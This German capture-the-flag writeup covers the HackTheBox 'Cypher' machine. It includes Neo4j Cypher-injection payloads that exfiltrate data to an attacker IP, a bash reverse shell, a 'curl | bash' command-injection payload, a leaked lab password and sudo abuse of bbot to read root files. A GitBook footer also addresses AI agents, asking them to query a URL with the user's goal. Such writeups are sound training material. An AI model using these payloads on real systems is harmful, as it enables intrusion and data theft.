> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Cypher HackTheBox Writeup

Cypher HackTheBox Medium Linux-Maschine Writeup zu Reverse Engineering einer Java-.jar-Datei mit JD-GUI, Schwachstellenanalyse von benutzerdefiniertem Java-Code, Cypher-Injection in Neo4j, Remote Code Execution (RC

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Reverse Engineering einer Java-.jar-Datei mit JD-GUI
* Schwachstellenanalyse von benutzerdefiniertem Java-Code
* Cypher-Injection in Neo4j
* Remote Code Execution (RCE) durch nicht bereinigte Eingaben
* Enumeration nach der Kompromittierung und Wiederverwendung von Anmeldedaten
* Privilegieneskalation durch falsch konfigurierte sudo-Berechtigungen
* Sichere Extraktion der Flag und Bereinigungsverfahren
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907c007f4ce2c70653e37c58298bcfa02a9ca5c5%2Fimage%20(522).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37e75176085c2a4712ef4e9398779fc8ced2373%2Fimage%20(523).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1347fd3cc24b52f726afa4cf6e94f65aeadb8b%2Fimage%20(524).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e34ed3a3efcc5a48016556541506c9f7734061%2Fimage%20(525).png?alt=media" alt=""><figcaption></figcaption></figure>

Die IP wird dann zu unserem `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f730170d080441d2185038d5e784b3eaf6a0e9f%2Fimage%20(526).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Webanalyse - Port 80 (HTTP)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c23ed8aca7b68e159e0b49bd91bfe226ad5d19b5%2Fimage%20(527).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobuster** wird verwendet, um Verzeichnisse aufzulisten:

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5ff01521a077aa3c51fc583b1ccdceef7ea039e%2Fimage%20(529).png?alt=media" alt=""><figcaption></figcaption></figure>

Das `/testing` Verzeichnis enthält eine `.jar` Datei. Wir extrahieren:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f25263d2d70d7f1a4cccc0e326cc89c0e8ad8a72%2Fimage%20(530).png?alt=media" alt=""><figcaption></figcaption></figure>

Untersuche die Struktur mit `tree` und öffne die `.jar` mit **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6edee4f3d30ab8349fbdbd75c323df529623b68c%2Fimage%20(531).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d60714bdf7ce16c54310a96f1cc10963b25f1d%2Fimage%20(532).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken einen anfälligen Befehl:

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7aa86a5490199d3ccbc233a784c3c9aedcbee75c%2Fimage%20(533).png?alt=media" alt=""><figcaption></figcaption></figure>

**Schwachstelle**: Die URL wird nicht escaped, was ein / ermöglich&#x74;*/* shell/*/* Injection.

## Neo4j-Cypher-Injection

Ein Login-Formular ist verwundbar. Ein Fehler erscheint, wenn zwischen `'`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fdd8cf44a1edf70a4645ece22f4961a7d1c95275%2Fimage%20(528).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir injizieren eine Cypher-Payload, um die Version von Neo4j auszulesen:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f9168c74d0cd7c63be185df31f6548eb8f5375%2Fimage%20(512).png?alt=media" alt=""><figcaption></figcaption></figure>

Auf unserem Server erhalten wir die Anfrage:

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baaeb89e343beed19b7b3cd39cff980c0e09ec9%2Fimage%20(511).png?alt=media" alt=""><figcaption></figcaption></figure>

### NCE durch Aufruf von `custom.getUrlStatusCode()`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46196c341a54a371a11baab752b242dc4a221de9%2Fimage%20(513).png?alt=media" alt=""><figcaption></figcaption></figure>

Platziere eine Reverse Shell in `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

Platziere eine Reverse Shell in `index.html`:

```bash
nc -nlvp 443
```

Verwende die kombinierte Injection, um dies aufzurufen **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81135f92277de943d8fca1f44090dcecf8f2e270%2Fimage%20(514).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Verbesserung der Shell:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting - Benutzer Graphasm

In `/home/graphasm/` gibt es eine `pwn.py` Datei, die ein Passwort enthält

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7ec4d35d62f81b020c5d0b16d87ceeadefbf3d%2Fimage%20(515).png?alt=media" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### Wiederverwendung des Passworts

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91a9236a0aa15979f499c44081d0b37fffdea6fb%2Fimage%20(516).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Sudo - bbot (Binärdatei)

Prüfung der sudo-Rechte:

```bash
sudo -l 
```

Der Benutzer kann ausführen `/usr/local/bin/bbot` als root.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10fc8f8f88230caa2d796f703db2f19c6fae5965%2Fimage%20(517).png?alt=media" alt=""><figcaption></figcaption></figure>

Inhalt von `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be6a8ba276a1e956c4b040f1acd221d23c438005%2Fimage%20(519).png?alt=media" alt=""><figcaption></figcaption></figure>

### Ausnutzung :

Dieses Skript übergibt lediglich Argumente an die Hauptfunktion von `bbot`. Da wir die übergebenen Argumente kontrollieren können, können wir eine Funktion von `bbot` verwenden, um jede Datei abzuspielen — einschließlich solcher, die nur für den Benutzer zugänglich sind **root**.

Nach dem Konsultieren der Hilfe oder Dokumentation zur Verwendung von `bbot`, identifizierten wir Optionen zum Festlegen einer Zieldatei und eines Ausgabeverzeichnisses:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**Erläuterung :**

* `-t /root/root.txt`: legt die zu verarbeitende Zieldatei fest.
* `-o /tmp/root`: gibt das Ausgabeverzeichnis an (wo die Ergebnisse gespeichert werden).
* `-d`: aktiviert den Debugging-Modus, falls zusätzliche Informationen benötigt werden.

Da das Skript mit den **root** Berechtigungen ausgeführt wird und keine Validierung der ns-Einträge erfolgt, ermöglicht uns dies, beliebige Dateien abzuspielen, einschließlich der letzten Datei, die die **Root-Flag**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38f304ff0dd3239d615ef146d27350e3eec435f9%2Fimage%20(521).png?alt=media" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9399f661511622d569be36e245b040792dcc3690%2Fimage%20(518).png?alt=media" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
